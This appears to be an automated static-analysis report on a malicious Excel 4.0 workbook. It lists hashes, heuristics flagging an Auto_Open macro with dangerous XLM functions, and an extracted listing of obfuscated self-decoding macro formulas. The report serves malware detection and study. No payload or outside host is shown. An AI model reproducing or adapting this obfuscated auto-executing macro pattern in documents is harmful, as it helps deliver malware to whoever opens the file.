Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 15a4b697d8b4abcd…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:02 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: cd3989863ec8dcedee4ae51ae7a9372a SHA-1: d83f546aa4743fac6f15294b12d2be00fa57b244 SHA-256: 15a4b697d8b4abcd3f5e98bb34b164b963845942d6956bad82e641a6e1719246
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6609 bytes
SHA-256: e37aa58b92bfdaf5423dba8996b52ed36edbd14535e2efd516551bb1af811236
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  bsYOWGjjI
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E147 
' 0018     20 LABEL : Cell Value, String Constant - CdDKt len=0 
' 0018     21 LABEL : Cell Value, String Constant - FSadOL len=0 
' 0018     24 LABEL : Cell Value, String Constant - fsyCYDBAP len=0 
' 0018     26 LABEL : Cell Value, String Constant - MPAMohgherj len=0 
' 0018     25 LABEL : Cell Value, String Constant - NNOHfOUDMw len=0 
' 0018     22 LABEL : Cell Value, String Constant - oDNpwpD len=0 
' 0018     23 LABEL : Cell Value, String Constant - oGDBDXdQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - PEyWKPbMFE len=0 
' 0018     24 LABEL : Cell Value, String Constant - PuouRtoRA len=0 
' 0018     26 LABEL : Cell Value, String Constant - qOXKdbbKGYb len=0 
' 0018     22 LABEL : Cell Value, String Constant - qUFCEkD len=0 
' 0018     20 LABEL : Cell Value, String Constant - RsPpo len=0 
' 0018     25 LABEL : Cell Value, String Constant - rXLUdzwEUo len=0 
' 0018     21 LABEL : Cell Value, String Constant - tAKeon len=0 
' 0018     25 LABEL : Cell Value, String Constant - twuwzKEHjd len=0 
' 0018     22 LABEL : Cell Value, String Constant - uVydQPQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - WOeGlL len=0 
' 0018     26 LABEL : Cell Value, String Constant - WpWZhDNiQYb len=0 
' 0018     23 LABEL : Cell Value, String Constant - YFDXmXyD len=0 
' 0018     22 LABEL : Cell Value, String Constant - zNSzWbC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  bsYOWGjjI,E69,"SET.NAME("oGDBDXdQ",VALUE("0"))",""
'  bsYOWGjjI,E71,"SET.NAME("FSadOL",oGDBDXdQ)",""
'  bsYOWGjjI,E73,"SET.NAME("YFDXmXyD",oGDBDXdQ)",""
'  bsYOWGjjI,E75,"SET.NAME("rXLUdzwEUo",COUNTA(PEyWKPbMFE))",""
'  bsYOWGjjI,E77,"SET.NAME("oDNpwpD",COUNTA(qUFCEkD))",""
'  bsYOWGjjI,E82,[],""
'  bsYOWGjjI,E85,"SET.NAME("twuwzKEHjd","")",""
'  bsYOWGjjI,E87,"FSadOL",""
'  bsYOWGjjI,E90,"SET.NAME("PuouRtoRA",HLOOKUP("*",PEyWKPbMFE,FSadOL,FALSE))",""
'  bsYOWGjjI,E93,"zNSzWbC",""
'  bsYOWGjjI,E96,"SET.NAME("qOXKdbbKGYb",oGDBDXdQ)",""
'  bsYOWGjjI,E98,[],""
'  bsYOWGjjI,E100,"qOXKdbbKGYb",""
'  bsYOWGjjI,E105,"WpWZhDNiQYb",""
'  bsYOWGjjI,E109,"MPAMohgherj",""
'  bsYOWGjjI,E114,"NNOHfOUDMw",""
'  bsYOWGjjI,E116,"SET.NAME("uVydQPQ",VALUE(HLOOKUP("*",qUFCEkD,NNOHfOUDMw,FALSE)))",""
'  bsYOWGjjI,E120,"fsyCYDBAP",""
'  bsYOWGjjI,E124,"twuwzKEHjd",""
'  bsYOWGjjI,E127,"YFDXmXyD",""
'  bsYOWGjjI,E130,NEXT(),""
'  bsYOWGjjI,E132,"WOeGlL",""
'  bsYOWGjjI,E134,"SET.NAME("f",INT(T(FORMULA(T(twuwzKEHjd)&"",""&T(WOeGlL)))))",""
'  bsYOWGjjI,E136,"CdDKt",""
'  bsYOWGjjI,E140,NEXT(),""
'  bsYOWGjjI,E142,RETURN(),""
'  bsYOWGjjI,E169,"SET.NAME("tAKeon",E69)",""
'  bsYOWGjjI,E173,"PEyWKPbMFE",""
'  bsYOWGjjI,E176,"SET.NAME("qUFCEkD",R63C12)",""
'  bsYOWGjjI,E181,"SET.NAME("CdDKt",186)",""
'  bsYOWGjjI,E183,"SET.NAME("RsPpo",5)",""
'  bsYOWGjjI,E185,tAKeon(),""
'  bsYOWGjjI,E186,HALT(),""